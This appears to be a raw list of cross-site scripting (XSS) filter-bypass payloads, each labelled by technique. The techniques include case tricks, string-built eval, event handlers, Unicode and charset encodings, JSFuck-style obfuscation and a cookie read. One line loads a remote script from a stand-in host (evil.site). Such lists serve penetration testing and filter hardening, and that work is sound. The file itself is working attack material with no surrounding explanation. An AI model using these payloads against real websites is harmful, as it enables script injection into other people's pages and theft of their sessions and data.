Bypass case sensitive::<sCrIpt>alert(1)</ScRipt>
Bypass tag blacklist::<script x>alert('XSS')<script y>
Bypass word blacklist with code evaluation #1::eval('ale'+'rt(0)');
Bypass word blacklist with code evaluation #2::Function("ale"+"rt(1)")();
Bypass word blacklist with code evaluation #3::new Functional\ert\6\`;
Bypass word blacklist with code evaluation #4::setTimeout('ale'+'rt(2)');
Bypass word blacklist with code evaluation #5::setInterval('ale'+'rt(10)');
Bypass word blacklist with code evaluation #6::Set.constructor('ale'+'rt(13)')();
Bypass word blacklist with code evaluation #7::Set.constructoral\x65rt\x2814\x29;
Bypass with incomplete html tag::<img src='1' onerror='alert(0)' <
Bypass quotes for string::String.fromCharCode(88,83,83)
Bypass quotes in script tag::http://localhost/bla.php?test=</script><script>alert(1)</script>
Bypass quotes in script tag::<html><script><?php echo 'foo="text '.$_GET['test'].'";';`?></script></html>
Bypass quotes in mousedown event::<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>
Bypass dot filter::<script>window['alert'](document['domain'])</script>
Bypass parenthesis for string::alert`1`
Bypass parenthesis for string::setTimeout`alert\u0028document.domain\u0029`
Bypass parenthesis and semi colon #1::<script>onerror=alert;throw 1337</script>
Bypass parenthesis and semi colon #2::<script>{onerror=alert}throw 1337</script>
Bypass parenthesis and semi colon #3::<script>throw onerror=alert,'some string',123,'haha'</script>
Bypass parenthesis and semi colon #4::<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
Bypass parenthesis and semi colon #5::<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
Bypass onxxxx= blacklist #1::<object onafterscriptexecute=confirm(0)>
Bypass onxxxx= blacklist #2::<object onbeforescriptexecute=confirm(0)>
Bypass onxxx= filter with a null byte/vertical tab #1::<img src='1' onerror\x00=alert(0) />
Bypass onxxx= filter with a null byte/vertical tab #2::<img src='1' onerror\x0b=alert(0) />
Bypass onxxx= filter with a '/'::<img src='1' onerror/=alert(0) />
Bypass space filter #1::// Bypass space filter with "/"
Bypass space filter #2::<img/src='1'/onerror=alert(0)>
Bypass email filter #1::"><svg/onload=confirm(1)>"@x.y
Bypass email filter #2::xss@example.com(<img src='x' onerror='alert(document.location)'>)
Bypass tel URI filter::+330011223344;phone-context=<script>alert(0)</script>
Bypass document blacklist #1::<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
Bypass document blacklist #2::window["doc"+"ument"]
Bypass document.cookie blacklist::window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);});
Bypass using javascript inside a string::<script>foo="text </script><script>alert(1)</script>";</script>
Bypass using an alternate way to redirect #1::location="http://google.com"
Bypass using an alternate way to redirect #2::document.location = "http://google.com"
Bypass using an alternate way to redirect #3::document.location.href="http://google.com"
Bypass using an alternate way to redirect #4::window.location.assign("http://google.com")
Bypass using an alternate way to redirect #5::window['location']['href']="http://google.com"
Bypass ">" using nothing::<svg onload=alert(1)//
Bypass "<" and ">" using ＜ and ＞::＜script/src=//evil.site/poc.js＞
Bypass ";" using another character #1::'te' * alert('*') * 'xt';
Bypass ";" using another character #2::'te' / alert('/') / 'xt';
Bypass ";" using another character #3::'te' % alert('%') % 'xt';
Bypass ";" using another character #4::'te' - alert('-') - 'xt';
Bypass ";" using another character #5::'te' + alert('+') + 'xt';
Bypass ";" using another character #6::'te' ^ alert('^') ^ 'xt';
Bypass ";" using another character #7::'te' > alert('>') > 'xt';
Bypass ";" using another character #8::'te' < alert('<') < 'xt';
Bypass ";" using another character #9::'te' == alert('==') == 'xt';
Bypass ";" using another character #10::'te' & alert('&') & 'xt';
Bypass ";" using another character #11::'te' , alert(',') , 'xt';
Bypass ";" using another character #12::'te' | alert('|') | 'xt';
Bypass ";" using another character #13::'te' ? alert('ifelsesh') : 'xt';
Bypass ";" using another character #14::'te' in alert('in') in 'xt';
Bypass ";" using another character #15::'te' instanceof alert('instanceof') instanceof 'xt';
Bypass using missing charset header::search=%1b(J&lang=en";alert(1)//
Bypass using HTML encoding #1::%26%2397;lert(1)
Bypass using HTML encoding #2::&#97;&#108;&#101;&#114;&#116;
Bypass using HTML encoding #3::></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
Bypass using Katakana::javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
Bypass using Cuneiform::𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
Bypass using Lontara::ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()
Bypass using ECMAScript6::<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>
Bypass using Octal encoding::javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
Bypass using Unicode converted to uppercase #1::İ (%c4%b0).toLowerCase() => i
Bypass using Unicode converted to uppercase #2::ı (%c4%b1).toUpperCase() => I
Bypass using Unicode converted to uppercase #3::ſ (%c5%bf).toUpperCase() => S
Bypass using Unicode converted to uppercase #4::K (%E2%84%AA).toLowerCase() => k
Bypass using Unicode converted to uppercase #5::<ſvg onload=... > become <SVG ONLOAD=...>
Bypass using Unicode converted to uppercase #6::<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
Bypass using UTF-7::+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
Bypass using UTF-8 #1::< = %C0%BC = %E0%80%BC = %F0%80%80%BC
Bypass using UTF-8 #2::> = %C0%BE = %E0%80%BE = %F0%80%80%BE
Bypass using UTF-8 #3::' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
Bypass using UTF-8 #4::" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
Bypass using UTF-8 #5::" = %CA%BA
Bypass using UTF-8 #6::' = %CA%B9
Bypass using UTF-16be::%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
Bypass using UTF-32::%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
Bypass using BOM #1::Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page
Bypass using BOM #2::BOM Character for UTF-16 Encoding: Big Endian : 0xFE 0xFF Little Endian : 0xFF 0xFE XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E
Bypass using BOM #3::BOM Character for UTF-32 Encoding: Big Endian : 0x00 0x00 0xFE 0xFF Little Endian : 0xFF 0xFE 0x00 0x00 XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
Bypass using weird encoding or native interpretation #1::<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
Bypass using weird encoding or native interpretation #2::<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
Bypass using weird encoding or native interpretation #3::<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
Bypass using weird encoding or native interpretation #4::<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
Bypass using weird encoding or native interpretation #5::<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
Bypass using jsfuck::[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()